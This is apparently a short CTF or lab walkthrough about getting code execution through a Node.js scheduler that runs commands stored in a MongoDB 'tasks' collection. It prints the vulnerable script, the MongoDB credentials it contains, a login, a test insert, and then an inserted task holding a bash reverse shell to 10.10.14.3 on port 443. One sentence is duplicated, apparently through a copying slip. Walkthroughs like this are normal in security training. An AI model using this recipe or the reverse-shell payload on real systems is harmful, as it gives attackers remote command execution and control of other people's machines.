Mongo DB Code Execution
IF
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/r?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
To Connect
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
>
In Mongo, a database (like scheduler
) has collections (kind of like tables in SQL). This db has one collection:
scheduler
) has collections (kind of like tables in SQL). This db has one collection:> show collections
tasks
To Check The collection has objects in it:
> db.tasks.insert({"cmd": "touch /tmp/g37sys73m"})
WriteResult({ "nInserted" : 1 })
Code Exec
db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1'"})
Last updated